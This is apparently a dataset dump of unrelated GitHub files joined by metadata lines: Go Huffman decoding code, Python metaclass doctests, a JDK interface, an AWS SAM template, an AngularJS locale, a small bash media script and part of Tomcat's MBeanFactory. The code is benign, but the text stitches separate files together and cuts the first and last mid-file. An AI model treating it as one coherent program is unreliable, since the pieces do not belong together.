buf[off+bufoff*stream] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 := single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+1] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+1] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+2] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+3] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+3] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) } off += 4 if off == bufoff { if bufoff > dstEvery { return nil, errors.New("corruption detected: stream overrun 1") } copy(out, buf[:bufoff]) copy(out[dstEvery:], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:], buf[bufoff*3:bufoff*4]) off = 0 out = out[bufoff:] decoded += 256 // There must at least be 3 buffers left. if len(out) < dstEvery*3 { return nil, errors.New("corruption detected: stream overrun 2") } } } if off > 0 { ioff := int(off) if len(out) < dstEvery*3+ioff { return nil, errors.New("corruption detected: stream overrun 3") } copy(out, buf[:off]) copy(out[dstEvery:dstEvery+ioff], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:dstEvery*2+ioff], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:dstEvery*3+ioff], buf[bufoff*3:bufoff*4]) decoded += int(off) * 4 out = out[off:] } // Decode remaining. for i := range br { offset := dstEvery * i br := &br[i] bitsLeft := int(br.off*8) + int(64-br.bitsRead) for bitsLeft > 0 { if br.finished() { return nil, io.ErrUnexpectedEOF } if br.bitsRead >= 56 { if br.off >= 4 { v := br.in[br.off-4:] v = v[:4] low := (uint32(v[0])) | (uint32(v[1]) << 8) | (uint32(v[2]) << 16) | (uint32(v[3]) << 24) br.value |= uint64(low) << (br.bitsRead - 32) br.bitsRead -= 32 br.off -= 4 } else { for br.off > 0 { br.value |= uint64(br.in[br.off-1]) << (br.bitsRead - 8) br.bitsRead -= 8 br.off-- } } } // end inline... if offset >= len(out) { return nil, errors.New("corruption detected: stream overrun 4") } // Read value and increment offset. v := single[br.peekByteFast()>>shift].entry nBits := uint8(v) br.advance(nBits) bitsLeft -= int(nBits) out[offset] = uint8(v >> 8) offset++ } decoded += offset - dstEvery*i err = br.close() if err != nil { return nil, err } } if dstSize != decoded { return nil, errors.New("corruption detected: short output block") } return dst, nil } // matches will compare a decoding table to a coding table. // Errors are written to the writer. // Nothing will be written if table is ok. func (s *Scratch) matches(ct cTable, w io.Writer) { if s == nil || len(s.dt.single) == 0 { return } dt := s.dt.single[:1<<s.actualTableLog] tablelog := s.actualTableLog ok := 0 broken := 0 for sym, enc := range ct { errs := 0 broken++ if enc.nBits == 0 { for _, dec := range dt { if uint8(dec.entry>>8) == byte(sym) { fmt.Fprintf(w, "symbol %x has decoder, but no encoder\n", sym) errs++ break } } if errs == 0 { broken-- } continue } // Unused bits in input ub := tablelog - enc.nBits top := enc.val << ub // decoder looks at top bits. dec := dt[top] if uint8(dec.entry) != enc.nBits { fmt.Fprintf(w, "symbol 0x%x bit size mismatch (enc: %d, dec:%d).\n", sym, enc.nBits, uint8(dec.entry)) errs++ } if uint8(dec.entry>>8) != uint8(sym) { fmt.Fprintf(w, "symbol 0x%x decoder output mismatch (enc: %d, dec:%d).\n", sym, sym, uint8(dec.entry>>8)) errs++ } if errs > 0 { fmt.Fprintf(w, "%d errros in base, stopping\n", errs) continue } // Ensure that all combinations are covered. for i := uint16(0); i < (1 << ub); i++ { vval := top | i dec := dt[vval] if uint8(dec.entry) != enc.nBits { fmt.Fprintf(w, "symbol 0x%x bit size mismatch (enc: %d, dec:%d).\n", vval, enc.nBits, uint8(dec.entry)) errs++ } if uint8(dec.entry>>8) != uint8(sym) { fmt.Fprintf(w, "symbol 0x%x decoder output mismatch (enc: %d, dec:%d).\n", vval, sym, uint8(dec.entry>>8)) errs++ } if errs > 20 { fmt.Fprintf(w, "%d errros, stopping\n", errs) break } } if errs == 0 { ok++ broken-- } } if broken > 0 { fmt.Fprintf(w, "%d broken, %d ok\n", broken, ok) } }
{ "pile_set_name": "Github" }
<p align="center"><img src="https://i.imgur.com/3UKgyH7.png"></p> ## Usage ### Create an App ```zsh # with `nextron` $ nextron init my-app --example with-typescript-emotion # with npx $ npx create-nextron-app my-app --example with-typescript-emotion # with yarn $ yarn create nextron-app my-app --example with-typescript-emotion # with pnpx $ pnpx create-nextron-app my-app --example with-typescript-emotion ``` ### Install Dependencies ```zsh $ cd my-app # using yarn or npm $ yarn (or `npm install`) # using pnpm $ pnpm install --shamefully-hoist ``` ### Use it ```zsh # development mode $ yarn dev (or `npm run dev` or `pnpm run dev`) # production build $ yarn build (or `npm run build` or `pnpm run build`) ```
{ "pile_set_name": "Github" }
#include "core/logfilter.h"
{ "pile_set_name": "Github" }
doctests = """ Basic class construction. >>> class C: ... def meth(self): print("Hello") ... >>> C.__class__ is type True >>> a = C() >>> a.__class__ is C True >>> a.meth() Hello >>> Use *args notation for the bases. >>> class A: pass >>> class B: pass >>> bases = (A, B) >>> class C(*bases): pass >>> C.__bases__ == bases True >>> Use a trivial metaclass. >>> class M(type): ... pass ... >>> class C(metaclass=M): ... def meth(self): print("Hello") ... >>> C.__class__ is M True >>> a = C() >>> a.__class__ is C True >>> a.meth() Hello >>> Use **kwds notation for the metaclass keyword. >>> kwds = {'metaclass': M} >>> class C(**kwds): pass ... >>> C.__class__ is M True >>> a = C() >>> a.__class__ is C True >>> Use a metaclass with a __prepare__ static method. >>> class M(type): ... @staticmethod ... def __prepare__(*args, **kwds): ... print("Prepare called:", args, kwds) ... return dict() ... def __new__(cls, name, bases, namespace, **kwds): ... print("New called:", kwds) ... return type.__new__(cls, name, bases, namespace) ... def __init__(cls, *args, **kwds): ... pass ... >>> class C(metaclass=M): ... def meth(self): print("Hello") ... Prepare called: ('C', ()) {} New called: {} >>> Also pass another keyword. >>> class C(object, metaclass=M, other="haha"): ... pass ... Prepare called: ('C', (<class 'object'>,)) {'other': 'haha'} New called: {'other': 'haha'} >>> C.__class__ is M True >>> C.__bases__ == (object,) True >>> a = C() >>> a.__class__ is C True >>> Check that build_class doesn't mutate the kwds dict. >>> kwds = {'metaclass': type} >>> class C(**kwds): pass ... >>> kwds == {'metaclass': type} True >>> Use various combinations of explicit keywords and **kwds. >>> bases = (object,) >>> kwds = {'metaclass': M, 'other': 'haha'} >>> class C(*bases, **kwds): pass ... Prepare called: ('C', (<class 'object'>,)) {'other': 'haha'} New called: {'other': 'haha'} >>> C.__class__ is M True >>> C.__bases__ == (object,) True >>> class B: pass >>> kwds = {'other': 'haha'} >>> class C(B, metaclass=M, *bases, **kwds): pass ... Prepare called: ('C', (<class 'test.test_metaclass.B'>, <class 'object'>)) {'other': 'haha'} New called: {'other': 'haha'} >>> C.__class__ is M True >>> C.__bases__ == (B, object) True >>> Check for duplicate keywords. >>> class C(metaclass=type, metaclass=type): pass ... Traceback (most recent call last): [...] SyntaxError: keyword argument repeated >>> Another way. >>> kwds = {'metaclass': type} >>> class C(metaclass=type, **kwds): pass ... Traceback (most recent call last): [...] TypeError: __build_class__() got multiple values for keyword argument 'metaclass' >>> Use a __prepare__ method that returns an instrumented dict. >>> class LoggingDict(dict): ... def __setitem__(self, key, value): ... print("d[%r] = %r" % (key, value)) ... dict.__setitem__(self, key, value) ... >>> class Meta(type): ... @staticmethod ... def __prepare__(name, bases): ... return LoggingDict() ... >>> class C(metaclass=Meta): ... foo = 2+2 ... foo = 42 ... bar = 123 ... d['__module__'] = 'test.test_metaclass' d['__qualname__'] = 'C' d['foo'] = 4 d['foo'] = 42 d['bar'] = 123 >>> Use a metaclass that doesn't derive from type. >>> def meta(name, bases, namespace, **kwds): ... print("meta:", name, bases) ... print("ns:", sorted(namespace.items())) ... print("kw:", sorted(kwds.items())) ... return namespace ... >>> class C(metaclass=meta): ... a = 42 ... b = 24 ... meta: C () ns: [('__module__', 'test.test_metaclass'), ('__qualname__', 'C'), ('a', 42), ('b', 24)] kw: [] >>> type(C) is dict True >>> print(sorted(C.items())) [('__module__', 'test.test_metaclass'), ('__qualname__', 'C'), ('a', 42), ('b', 24)] >>> And again, with a __prepare__ attribute. >>> def prepare(name, bases, **kwds): ... print("prepare:", name, bases, sorted(kwds.items())) ... return LoggingDict() ... >>> meta.__prepare__ = prepare >>> class C(metaclass=meta, other="booh"): ... a = 1 ... a = 2 ... b = 3 ... prepare: C () [('other', 'booh')] d['__module__'] = 'test.test_metaclass' d['__qualname__'] = 'C' d['a'] = 1 d['a'] = 2 d['b'] = 3 meta: C () ns: [('__module__', 'test.test_metaclass'), ('__qualname__', 'C'), ('a', 2), ('b', 3)] kw: [('other', 'booh')] >>> The default metaclass must define a __prepare__() method. >>> type.__prepare__() {} >>> Make sure it works with subclassing. >>> class M(type): ... @classmethod ... def __prepare__(cls, *args, **kwds): ... d = super().__prepare__(*args, **kwds) ... d["hello"] = 42 ... return d ... >>> class C(metaclass=M): ... print(hello) ... 42 >>> print(C.hello) 42 >>> Test failures in looking up the __prepare__ method work. >>> class ObscureException(Exception): ... pass >>> class FailDescr: ... def __get__(self, instance, owner): ... raise ObscureException >>> class Meta(type): ... __prepare__ = FailDescr() >>> class X(metaclass=Meta): ... pass Traceback (most recent call last): [...] test.test_metaclass.ObscureException """ import sys # Trace function introduces __locals__ which causes various tests to fail. if hasattr(sys, 'gettrace') and sys.gettrace(): __test__ = {} else: __test__ = {'doctests' : doctests} def test_main(verbose=False): from test import support from test import test_metaclass support.run_doctest(test_metaclass, verbose) if __name__ == "__main__": test_main(verbose=True)
{ "pile_set_name": "Github" }
/* * Copyright (c) 2015, 2017, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. * * * * * * * * * * * * * * * * * * * * */ package jdk.internal.misc; import java.io.PrintStream; import java.lang.module.Configuration; import java.lang.module.ModuleDescriptor; import java.lang.module.ModuleDescriptor.Exports; import java.lang.module.ModuleDescriptor.Opens; import java.lang.module.ModuleDescriptor.Requires; import java.lang.module.ModuleDescriptor.Provides; import java.lang.module.ModuleDescriptor.Version; import java.lang.module.ModuleFinder; import java.lang.module.ModuleReader; import java.lang.module.ModuleReference; import java.net.URI; import java.nio.file.Path; import java.util.Collection; import java.util.List; import java.util.Set; import java.util.function.Supplier; import jdk.internal.module.ModuleHashes; /** * Provides access to non-public methods in java.lang.module. */ public interface JavaLangModuleAccess { /** * Creates a builder for building a module with the given module name. * * @param strict * Indicates whether module names are checked or not */ ModuleDescriptor.Builder newModuleBuilder(String mn, boolean strict, Set<ModuleDescriptor.Modifier> ms); /** * Returns a snapshot of the packages in the module. */ Set<String> packages(ModuleDescriptor.Builder builder); /** * Adds a dependence on a module with the given (possibly un-parsable) * version string. */ void requires(ModuleDescriptor.Builder builder, Set<Requires.Modifier> ms, String mn, String rawCompiledVersion); /** * Returns a {@code ModuleDescriptor.Requires} of the given modifiers * and module name. */ Requires newRequires(Set<Requires.Modifier> ms, String mn, Version v); /** * Returns an unqualified {@code ModuleDescriptor.Exports} * of the given modifiers and package name source. */ Exports newExports(Set<Exports.Modifier> ms, String source); /** * Returns a qualified {@code ModuleDescriptor.Exports} * of the given modifiers, package name source and targets. */ Exports newExports(Set<Exports.Modifier> ms, String source, Set<String> targets); /** * Returns an unqualified {@code ModuleDescriptor.Opens} * of the given modifiers and package name source. */ Opens newOpens(Set<Opens.Modifier> ms, String source); /** * Returns a qualified {@code ModuleDescriptor.Opens} * of the given modifiers, package name source and targets. */ Opens newOpens(Set<Opens.Modifier> ms, String source, Set<String> targets); /** * Returns a {@code ModuleDescriptor.Provides} * of the given service name and providers. */ Provides newProvides(String service, List<String> providers); /** * Returns a new {@code ModuleDescriptor} instance. */ ModuleDescriptor newModuleDescriptor(String name, Version version, Set<ModuleDescriptor.Modifier> ms, Set<Requires> requires, Set<Exports> exports, Set<Opens> opens, Set<String> uses, Set<Provides> provides, Set<String> packages, String mainClass, int hashCode); /** * Resolves a collection of root modules, with service binding * and the empty configuration as the parent. The post resolution * checks are optionally run. */ Configuration resolveAndBind(ModuleFinder finder, Collection<String> roots, boolean check, PrintStream traceOutput); }
{ "pile_set_name": "Github" }
require("import") -- the import fn import("enum_plus") -- import lib ep=enum_plus -- catch "undefined" global variables local env = _ENV -- Lua 5.2 if not env then env = getfenv () end -- Lua 5.1 setmetatable(env, {__index=function (t,i) error("undefined global variable `"..i.."'",2) end}) assert(ep.iFoo_Phoo == 50) -- Old variant of enum bindings assert(ep.iFoo.Phoo == 50) -- New variant of enum bindings
{ "pile_set_name": "Github" }
/***************************************************************************** * PokerTH - The open source texas holdem engine * * Copyright (C) 2006-2013 Felix Hammer, Florian Thauer, Lothar May * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU Affero General Public License as * * published by the Free Software Foundation, either version 3 of the * * License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU Affero General Public License for more details. * * * * You should have received a copy of the GNU Affero General Public License * * along with this program. If not, see <http://www.gnu.org/licenses/>. * * * * * * Additional permission under GNU AGPL version 3 section 7 * * * * If you modify this program, or any covered work, by linking or * * combining it with the OpenSSL project's OpenSSL library (or a * * modified version of that library), containing parts covered by the * * terms of the OpenSSL or SSLeay licenses, the authors of PokerTH * * (Felix Hammer, Florian Thauer, Lothar May) grant you additional * * permission to convey the resulting work. * * Corresponding Source for a non-source form of such a combination * * shall include the source code for the parts of OpenSSL used as well * * as that of the covered work. * *****************************************************************************/ #include <net/sendbuffer.h> using namespace std; SendBuffer::~SendBuffer() { }
{ "pile_set_name": "Github" }
$.fn.alpha = function() { return "alpha"; };
{ "pile_set_name": "Github" }
( x )
{ "pile_set_name": "Github" }
Globals: Api: OpenApiVersion: '3.0.1' Resources: MyApiWithCognitoAuth: Type: "AWS::Serverless::Api" Properties: StageName: Prod Auth: DefaultAuthorizer: MyCognitoAuth Authorizers: MyCognitoAuth: UserPoolArn: !GetAtt MyUserPool.Arn MyApiWithLambdaTokenAuth: Type: "AWS::Serverless::Api" Properties: StageName: Prod Auth: DefaultAuthorizer: MyLambdaTokenAuth Authorizers: MyLambdaTokenAuth: FunctionArn: !GetAtt MyAuthFn.Arn MyApiWithLambdaRequestAuth: Type: "AWS::Serverless::Api" Properties: StageName: Prod Auth: DefaultAuthorizer: MyLambdaRequestAuth Authorizers: MyLambdaRequestAuth: FunctionPayloadType: REQUEST FunctionArn: !GetAtt MyAuthFn.Arn Identity: Headers: - Authorization1 MyAuthFn: Type: AWS::Serverless::Function Properties: CodeUri: s3://bucketname/thumbnails.zip Handler: index.handler Runtime: nodejs12.x MyFn: Type: AWS::Serverless::Function Properties: CodeUri: s3://bucketname/thumbnails.zip Handler: index.handler Runtime: nodejs12.x Events: Cognito: Type: Api Properties: RestApiId: !Ref MyApiWithCognitoAuth Method: get Path: /cognito LambdaToken: Type: Api Properties: RestApiId: !Ref MyApiWithLambdaTokenAuth Method: get Path: /lambda-token LambdaRequest: Type: Api Properties: RestApiId: !Ref MyApiWithLambdaRequestAuth Method: get Path: /lambda-request MyUserPool: Type: AWS::Cognito::UserPool Properties: UserPoolName: UserPoolName Policies: PasswordPolicy: MinimumLength: 8 UsernameAttributes: - email Schema: - AttributeDataType: String Name: email Required: false
{ "pile_set_name": "Github" }
angular.module("ngLocale", [], ["$provide", function($provide) { var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"}; $provide.value("$locale", { "DATETIME_FORMATS": { "AMPMS": { "0": "AM", "1": "PM" }, "DAY": { "0": "Sunday", "1": "Monday", "2": "Tuesday", "3": "Wednesday", "4": "Thursday", "5": "Friday", "6": "Saturday" }, "MONTH": { "0": "January", "1": "February", "2": "March", "3": "April", "4": "May", "5": "June", "6": "July", "7": "August", "8": "September", "9": "October", "10": "November", "11": "December" }, "SHORTDAY": { "0": "Sun", "1": "Mon", "2": "Tue", "3": "Wed", "4": "Thu", "5": "Fri", "6": "Sat" }, "SHORTMONTH": { "0": "Jan", "1": "Feb", "2": "Mar", "3": "Apr", "4": "May", "5": "Jun", "6": "Jul", "7": "Aug", "8": "Sep", "9": "Oct", "10": "Nov", "11": "Dec" }, "fullDate": "EEEE, MMMM d, y", "longDate": "MMMM d, y", "medium": "MMM d, y h:mm:ss a", "mediumDate": "MMM d, y", "mediumTime": "h:mm:ss a", "short": "M/d/yy h:mm a", "shortDate": "M/d/yy", "shortTime": "h:mm a" }, "NUMBER_FORMATS": { "CURRENCY_SYM": "$", "DECIMAL_SEP": ".", "GROUP_SEP": ",", "PATTERNS": { "0": { "gSize": 3, "lgSize": 3, "macFrac": 0, "maxFrac": 3, "minFrac": 0, "minInt": 1, "negPre": "-", "negSuf": "", "posPre": "", "posSuf": "" }, "1": { "gSize": 3, "lgSize": 3, "macFrac": 0, "maxFrac": 2, "minFrac": 2, "minInt": 1, "negPre": "(\u00a4", "negSuf": ")", "posPre": "\u00a4", "posSuf": "" } } }, "id": "en-mu", "pluralCat": function (n) { if (n == 1) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;} }); }]);
{ "pile_set_name": "Github" }
#!/bin/bash #kill all running tasks /var/www/sync/stopall #start video 09 /usr/bin/omxplayer-sync -mu -o both /media/internal/video/09* > /dev/null 2>&1 & echo $! &
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.catalina.mbeans; import java.io.File; import java.net.InetAddress; import javax.management.MBeanServer; import javax.management.ObjectName; import org.apache.catalina.Container; import org.apache.catalina.Context; import org.apache.catalina.Engine; import org.apache.catalina.Host; import org.apache.catalina.JmxEnabled; import org.apache.catalina.Server; import org.apache.catalina.Service; import org.apache.catalina.Valve; import org.apache.catalina.connector.Connector; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardEngine; import org.apache.catalina.core.StandardHost; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappLoader; import org.apache.catalina.realm.DataSourceRealm; import org.apache.catalina.realm.JDBCRealm; import org.apache.catalina.realm.JNDIRealm; import org.apache.catalina.realm.MemoryRealm; import org.apache.catalina.realm.UserDatabaseRealm; import org.apache.catalina.session.StandardManager; import org.apache.catalina.startup.ContextConfig; import org.apache.catalina.startup.HostConfig; import org.apache.tomcat.util.res.StringManager; /** * @author Amy Roh */ public class MBeanFactory { private static final org.apache.juli.logging.Log log = org.apache.juli.logging.LogFactory.getLog(MBeanFactory.class); protected static final StringManager sm = StringManager.getManager(Constants.Package); /** * The <code>MBeanServer</code> for this application. */ private static final MBeanServer mserver = MBeanUtils.createServer(); // ------------------------------------------------------------- Attributes /** * The container (Server/Service) for which this factory was created. */ private Object container; // ------------------------------------------------------------- Operations /** * Set the container that this factory was created for. * @param container The associated container */ public void setContainer(Object container) { this.container = container; } /** * Little convenience method to remove redundant code * when retrieving the path string * * @param t path string * @return empty string if t==null || t.equals("/") */ private final String getPathStr(String t) { if (t == null || t.equals("/")) { return ""; } return t; } /** * Get Parent Container to add its child component * from parent's ObjectName */ private Container getParentContainerFromParent(ObjectName pname) throws Exception { String type = pname.getKeyProperty("type"); String j2eeType = pname.getKeyProperty("j2eeType"); Service service = getService(pname); @SuppressWarnings("deprecation") StandardEngine engine = (StandardEngine) service.getContainer(); if ((j2eeType!=null) && (j2eeType.equals("WebModule"))) { String name = pname.getKeyProperty("name"); name = name.substring(2); int i = name.indexOf('/'); String hostName = name.substring(0,i); String path = name.substring(i); Container host = engine.findChild(hostName); String pathStr = getPathStr(path); Container context = host.findChild(pathStr); return context; } else if (type != null) { if (type.equals("Engine")) { return engine; } else if (type.equals("Host")) { String hostName = pname.getKeyProperty("host"); Container host = engine.findChild(hostName); return host; } } return null; } /** * Get Parent ContainerBase to add its child component * from child component's ObjectName as a String */ private Container getParentContainerFromChild(ObjectName oname) throws Exception { String hostName = oname.getKeyProperty("host"); String path = oname.getKeyProperty("path"); Service service = getService(oname); @SuppressWarnings("deprecation") Container engine = service.getContainer(); if (hostName == null) { // child's container is Engine return engine; } else if (path == null) { // child's container is Host Container host = engine.findChild(hostName); return host; } else { // child's container is Context Container host = engine.findChild(hostName); path = getPathStr(path); Container context = host.findChild(path); return context; } } private Service getService(ObjectName oname) throws Exception { if (container instanceof Service) { // Don't bother checking the domain - this is the only option return (Service) container; } StandardService service = null; String domain = oname.getDomain(); if (container instanceof Server) { Service[] services = ((Server)container).findServices(); for (int i = 0; i < services.length; i++) { service = (StandardService) services[i]; if (domain.equals(service.getObjectName().getDomain())) { break; } } } if (service == null || !service.getObjectName().getDomain().equals(domain)) { throw new Exception("Service with the domain is not found"); } return service; } /** * Create a new AjpConnector * * @param parent MBean Name of the associated parent component * @param address The IP address on which to bind * @param port TCP port number to listen on * @return the object name of the created connector * * @exception Exception if an MBean cannot be created or registered */ public String createAjpConnector(String parent, String address, int port) throws Exception { return createConnector(parent, address, port, true, false); } /** * Create a new DataSource Realm. * * @param parent MBean Name of the associated parent component * @param dataSourceName the datasource name * @param roleNameCol the column name for the role names * @param userCredCol the column name for the user credentials * @param userNameCol the column name for the user names * @param userRoleTable the table name for the roles table * @param userTable the table name for the users * @return the object name of the created realm * @exception Exception if an MBean cannot be created or registered */ public String createDataSourceRealm(String parent, String dataSourceName, String roleNameCol, String userCredCol, String userNameCol, String userRoleTable, String userTable) throws Exception { // Create a new DataSourceRealm instance DataSourceRealm realm = new DataSourceRealm(); realm.setDataSourceName(dataSourceName); realm.setRoleNameCol(roleNameCol); realm.setUserCredCol(userCredCol); realm.setUserNameCol(userNameCol); realm.setUserRoleTable(userRoleTable); realm.setUserTable(userTable); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); // Add the new instance to its parent component container.setRealm(realm); // Return the corresponding MBean name ObjectName oname = realm.getObjectName(); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new HttpConnector * * @param parent MBean Name of the associated parent component * @param address The IP address on which to bind * @param port TCP port number to listen on * @return the object name of the created connector * * @exception Exception if an MBean cannot be created or registered */ public String createHttpConnector(String parent, String address, int port) throws Exception { return createConnector(parent, address, port, false, false); } /** * Create a new Connector * * @param parent MBean Name of the associated parent component * @param address The IP address on which to bind * @param port TCP port number to listen on * @param isAjp Create a AJP/1.3 Connector * @param isSSL Create a secure Connector * * @exception Exception if an MBean cannot be created or registered */ private String createConnector(String parent, String address, int port, boolean isAjp, boolean isSSL) throws Exception { // Set the protocol String protocol = isAjp ? "AJP/1.3" : "HTTP/1.1"; Connector retobj = new Connector(protocol); if ((address!=null) && (address.length()>0)) { retobj.setProperty("address", address); } // Set port number retobj.setPort(port); // Set SSL retobj.setSecure(isSSL); retobj.setScheme(isSSL ? "https" : "http"); // Add the new instance to its parent component // FIX ME - addConnector will fail ObjectName pname = new ObjectName(parent); Service service = getService(pname); service.addConnector(retobj); // Return the corresponding MBean name ObjectName coname = retobj.getObjectName(); return (coname.toString()); } /** * Create a new HttpsConnector * * @param parent MBean Name of the associated parent component * @param address The IP address on which to bind * @param port TCP port number to listen on * @return the object name of the created connector * * @exception Exception if an MBean cannot be created or registered */ public String createHttpsConnector(String parent, String address, int port) throws Exception { return createConnector(parent, address, port, false, true); } /** * Create a new JDBC Realm. * * @param parent MBean Name of the associated parent component * @param driverName JDBC driver name * @param connectionName the user name for the connection * @param connectionPassword the password for the connection * @param connectionURL the connection URL to the database * @return the object name of the created realm * * @exception Exception if an MBean cannot be created or registered */ public String createJDBCRealm(String parent, String driverName, String connectionName, String connectionPassword, String connectionURL) throws Exception { // Create a new JDBCRealm instance JDBCRealm realm = new JDBCRealm(); realm.setDriverName(driverName); realm.setConnectionName(connectionName); realm.setConnectionPassword(connectionPassword); realm.setConnectionURL(connectionURL); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); // Add the new instance to its parent component container.setRealm(realm); // Return the corresponding MBean name ObjectName oname = realm.getObjectName(); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new JNDI Realm. * * @param parent MBean Name of the associated parent component * @return the object name of the created realm * * @exception Exception if an MBean cannot be created or registered */ public String createJNDIRealm(String parent) throws Exception { // Create a new JNDIRealm instance JNDIRealm realm = new JNDIRealm(); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); // Add the new instance to its parent component container.setRealm(realm); // Return the corresponding MBean name ObjectName oname = realm.getObjectName(); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new Memory Realm. * * @param parent MBean Name of the associated parent component * @return the object name of the created realm * * @exception Exception if an MBean cannot be created or registered */ public String createMemoryRealm(String parent) throws Exception { // Create a new MemoryRealm instance MemoryRealm realm = new MemoryRealm(); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Container container = getParentContainerFromParent(pname); // Add the new instance to its parent component container.setRealm(realm); // Return the corresponding MBean name ObjectName oname = realm.getObjectName(); if (oname != null) { return (oname.toString()); } else { return null; } } /** * Create a new StandardContext. * * @param parent MBean Name of the associated parent component * @param path The context path for this Context * @param docBase Document base directory (or WAR) for this Context * @return the object name of the created context * * @exception Exception if an MBean cannot be created or registered */ public String createStandardContext(String parent, String path, String docBase) throws Exception { return createStandardContext(parent, path, docBase, false, false); } /** * Create a new StandardContext. * * @param parent MBean Name of the associated parent component * @param path The context path for this Context * @param docBase Document base directory (or WAR) for this Context * @param xmlValidation if XML descriptors should be validated * @param xmlNamespaceAware if the XML processor should namespace aware * @return the object name of the created context * * @exception Exception if an MBean cannot be created or registered */ public String createStandardContext(String parent, String path, String docBase, boolean xmlValidation, boolean xmlNamespaceAware) throws Exception { // Create a new StandardContext instance StandardContext context = new StandardContext(); path = getPathStr(path); context.setPath(path); context.setDocBase(docBase); context.setXmlValidation(xmlValidation); context.setXmlNamespaceAware(xmlNamespaceAware); ContextConfig contextConfig = new ContextConfig(); context.addLifecycleListener(contextConfig); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); ObjectName deployer = new ObjectName(pname.getDomain()+ ":type=Deployer,host="+ pname.getKeyProperty("host")); if(mserver.isRegistered(deployer)) { String contextName = context.getName(); mserver.invoke(deployer, "addServiced", new Object [] {contextName}, new String [] {"java.lang.String"}); String configPath = (String)mserver.getAttribute(deployer, "configBaseName"); String baseName = context.getBaseName(); File configFile = new File(new File(configPath), baseName+".xml"); if (configFile.isFile()) { context.setConfigFile(configFile.toURI().toURL()); } mserver.invoke(deployer, "manageApp", new Object[] {context}, new String[] {"org.apache.catalina.Context"}); mserver.invoke(deployer, "removeServiced", new Object [] {contextName}, new String [] {"java.lang.String"}); } else { log.warn("Deployer not found for "+pname.getKeyProperty("host")); Service service = getService(pname); @SuppressWarnings("deprecation") Engine engine = (Engine) service.getContainer(); Host host = (Host) engine.findChild(pname.getKeyProperty("host")); host.addChild(context); } // Return the corresponding MBean name return context.getObjectName().toString(); } /** * Create a new StandardHost. * * @param parent MBean Name of the associated parent component * @param name Unique name of this Host * @param appBase Application base directory name * @param autoDeploy Should we auto deploy? * @param deployOnStartup Deploy on server startup? * @param deployXML Should we deploy Context XML config files property? * @param unpackWARs Should we unpack WARs when auto deploying? * @return the object name of the created host * * @exception Exception if an MBean cannot be created or registered */ public String createStandardHost(String parent, String name, String appBase, boolean autoDeploy, boolean deployOnStartup, boolean deployXML, boolean unpackWARs) throws Exception { // Create a new StandardHost instance StandardHost host = new StandardHost(); host.setName(name); host.setAppBase(appBase); host.setAutoDeploy(autoDeploy); host.setDeployOnStartup(deployOnStartup); host.setDeployXML(deployXML); host.setUnpackWARs(unpackWARs); // add HostConfig for active reloading HostConfig hostConfig = new HostConfig(); host.addLifecycleListener(hostConfig); // Add the new instance to its parent component ObjectName pname = new ObjectName(parent); Service service = getService(pname); @SuppressWarnings("deprecation") Engine engine = (Engine) service.getContainer(); engine.addChild(host); // Return the corresponding MBean name return (host.getObjectName().toString()); } /** * Creates a new StandardService and StandardEngine. * * @param domain Domain name for the container instance * @param defaultHost Name of the default host to be used in the Engine * @param baseDir Base directory value for Engine * @return the object name of the created service * * @exception Exception if an MBean cannot be created or registered */ public String createStandardServiceEngine(String domain, String defaultHost, String baseDir) throws Exception{ if (!(container instanceof Server)) { throw new Exception("Container not Server"); } StandardEngine engine = new StandardEngine(); engine.setDomain(domain); engine.setName(domain); engine.setDefaultHost(defaultHost); Service service = new StandardService(); service.setContainer(engine); service.setName(domain); ((Server) container).addService(service); return engine.getObjectName().toString(); } /** * Create a new StandardManager. * * @param parent MBean Name of the associated parent component * @return the object name of the created manager * * @exception Exception if an MBean cannot be created or registered */ public 